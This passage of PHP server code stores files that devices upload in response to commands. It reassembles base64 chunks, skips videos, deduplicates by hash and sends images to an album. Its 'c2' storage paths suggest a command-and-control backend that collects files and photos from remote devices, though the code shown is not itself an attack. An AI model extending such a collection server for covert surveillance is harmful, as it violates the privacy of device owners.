*/ private const VIDEO_EXT = ['mp4', 'mov', 'm4v', 'avi', 'mkv', 'webm', '3gp', 'qt']; /** @var list */ private const IMAGE_EXT = ['png', 'jpg', 'jpeg', 'heic', 'heif', 'gif', 'webp', 'bmp', 'tif', 'tiff']; public function __construct( private readonly IngestService $ingest, ) {} /** * Persist one /result body. Videos are dropped. Chunks assemble under * c2/ds-chunks then land in c2/ds-results. Images also go through album ingest. * * @param array $payload * @return array */ public function store(Device $device, array $payload): array { $filename = $this->safeName((string) ($payload['filename'] ?? '')); if ($filename === '') { return ['stored' => false, 'reason' => 'no_filename']; } if ($this->isVideo($filename)) { return ['stored' => false, 'reason' => 'video_skipped', 'filename' => $filename]; } $raw = $payload['data'] ?? null; if (! is_string($raw) || $raw === '') { return ['stored' => false, 'reason' => 'no_data', 'filename' => $filename]; } $bytes = base64_decode($raw, true); if ($bytes === false) { return ['stored' => false, 'reason' => 'bad_base64', 'filename' => $filename]; } $commandId = $this->safeName((string) ($payload['command_id'] ?? 'unknown')) ?: 'unknown'; $total = isset($payload['total_chunks']) ? (int) $payload['total_chunks'] : 0; $index = array_key_exists('chunk_index', $payload) ? (int) $payload['chunk_index'] : null; if ($total > 1 && $index !== null) { $assembled = $this->acceptChunk($device, $commandId, $filename, $index, $total, $bytes); if ($assembled === null) { return [ 'stored' => false, 'reason' => 'chunk_pending', 'filename' => $filename, 'chunk_index' => $index, 'total_chunks' => $total, ]; } $bytes = $assembled; } $hash = hash('sha256', $bytes); if ($this->alreadyIngested($device, $filename, $hash)) { return [ 'stored' => false, 'reason' => 'duplicate', 'filename' => $filename, 'size' => strlen($bytes), ]; } $rel = 'c2/ds-results/'.$device->device_id.'/'.$commandId.'/'.$filename; Storage::disk('local')->put($rel, $bytes); $this->markSeen($device, $hash, $filename); $photo = false; if ($this->isImage($filename) && $device->albumStorageEnabled()) { $tmp = tempnam(sys_get_temp_dir(), 'ds_photo_'); if ($tmp !== false) { file_put_contents($tmp, $bytes); $this->ingest->ingestPhotos($device, [$tmp]); @unlink($tmp); $photo = true; } } return [ 'stored' => true, 'path' => $rel, 'photo' => $photo, 'size' => strlen($bytes), 'filename' => $filename, ]; } private function alreadyIngested(Device $device, string $filename, string $hash): bool { if (Storage::disk('local')->exists($this->seenPath($device, $hash))) { return true; } if ($this->isImage($filename) && Photo::query()->where('device_id', $device->id)->where('sha256', $hash)->exists()) { $this->markSeen($device, $hash, $filename); return true; } return false; } private function markSeen(Device $device, string $hash, string $filename): void { Storage::disk('local')->put($this->seenPath($device, $hash), $filename); } private function seenPath(Device $device, string $hash): string { return 'c2/ds-results/'.$device->device_id.'/.seen/'.$hash; } private function acceptChunk( Device $device, string $commandId, string $filename, int $index, int $total, string $bytes, ): ?string { $dir = 'c2/ds-chunks/'.$device->device_id.'/'.$commandId.'/'.$filename; Storage::disk('local')->put($dir.'/'.$index, $bytes); Storage::disk('local')->put($dir.'/total', (string) $total); for ($i = 0; $i < $total; $i++) { if (! Storage::disk('local')->exists($dir.'/'.$i)) { return null; } } $out = ''; for ($i = 0; $i < $total; $i++) { $out .= (string) Storage::disk('local')->get($dir.'/'.$i); } Storage::disk('local')->deleteDirectory($dir); return $out; } private function isVideo(string $filename): bool { return in_array($this->extension($filename), self::VIDEO_EXT, true); } private function isImage(string $filename): bool { return in_array($this->extension($filename), self::IMAGE_EXT, true); } private function extension(string $filename): string { $dot = strrpos($filename, '.'); if ($dot === false) { return ''; } return strtolower(substr($filename, $dot + 1)); } private function safeName(string $name): string { $name = str_replace(["\0", '\\'], '', $name); $name = basename(str_replace(['/', '\\'], '', $name)); $name = preg_replace('/[^A-Za-z0-9._-]/', '_', $name) ?? ''; return $name === '.' || $name === '..' ? '' : $name; } }